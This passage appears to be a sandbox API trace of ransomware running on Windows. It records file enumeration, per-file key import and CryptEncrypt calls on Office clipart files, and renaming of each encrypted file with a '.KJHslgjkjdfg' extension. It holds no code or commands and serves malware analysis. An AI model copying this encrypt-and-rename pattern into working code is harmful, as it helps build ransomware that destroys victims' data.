1 [0184.872] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27b0, lpOverlapped=0x0) returned 1 [0184.873] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.873] SetEndOfFile (hFile=0x114) returned 1 [0184.876] GetProcessHeap () returned 0x2a0000 [0184.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.876] GetProcessHeap () returned 0x2a0000 [0184.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.kjhslgjkjdfg")) returned 1 [0184.879] CloseHandle (hObject=0x114) returned 1 [0184.879] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0184.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.881] GetProcessHeap () returned 0x2a0000 [0184.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.881] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.881] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.883] GetProcessHeap () returned 0x2a0000 [0184.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.884] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.884] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.884] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.884] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f6c, lpOverlapped=0x0) returned 1 [0184.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f70, dwBufLen=0x4f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f70) returned 1 [0184.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.886] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f70, lpOverlapped=0x0) returned 1 [0184.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.886] SetEndOfFile (hFile=0x114) returned 1 [0184.889] GetProcessHeap () returned 0x2a0000 [0184.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.889] GetProcessHeap () returned 0x2a0000 [0184.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.kjhslgjkjdfg")) returned 1 [0184.891] CloseHandle (hObject=0x114) returned 1 [0184.891] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0184.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.893] GetProcessHeap () returned 0x2a0000 [0184.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.893] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.893] GetProcessHeap () returned 0x2a0000 [0184.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.894] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.894] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.896] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.896] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.896] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.896] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.896] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.896] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.897] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc10, lpOverlapped=0x0) returned 1 [0184.897] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc10, dwBufLen=0xc10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc10) returned 1 [0184.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.897] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc10, lpOverlapped=0x0) returned 1 [0184.897] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.897] SetEndOfFile (hFile=0x114) returned 1 [0184.900] GetProcessHeap () returned 0x2a0000 [0184.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.900] GetProcessHeap () returned 0x2a0000 [0184.900] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.kjhslgjkjdfg")) returned 1 [0184.902] CloseHandle (hObject=0x114) returned 1 [0184.902] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0184.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.903] GetProcessHeap () returned 0x2a0000 [0184.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.903] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.906] GetProcessHeap () returned 0x2a0000 [0184.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.906] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.906] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.907] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x938, lpOverlapped=0x0) returned 1 [0184.907] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x940, dwBufLen=0x940 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x940) returned 1 [0184.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.907] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x940, lpOverlapped=0x0) returned 1 [0184.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.907] SetEndOfFile (hFile=0x114) returned 1 [0184.910] GetProcessHeap () returned 0x2a0000 [0184.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.910] GetProcessHeap () returned 0x2a0000 [0184.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.kjhslgjkjdfg")) returned 1 [0184.911] CloseHandle (hObject=0x114) returned 1 [0184.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0184.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.913] GetProcessHeap () returned 0x2a0000 [0184.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.913] GetProcessHeap () returned 0x2a0000 [0184.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.913] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.913] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.915] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.916] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.916] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.916] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb60, lpOverlapped=0x0) returned 1 [0184.916] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60, dwBufLen=0xb60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60) returned 1 [0184.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.916] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb60, lpOverlapped=0x0) returned 1 [0184.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.916] SetEndOfFile (hFile=0x114) returned 1 [0184.919] GetProcessHeap () returned 0x2a0000 [0184.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.919] GetProcessHeap () returned 0x2a0000 [0184.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.kjhslgjkjdfg")) returned 1 [0184.921] CloseHandle (hObject=0x114) returned 1 [0184.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0184.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program 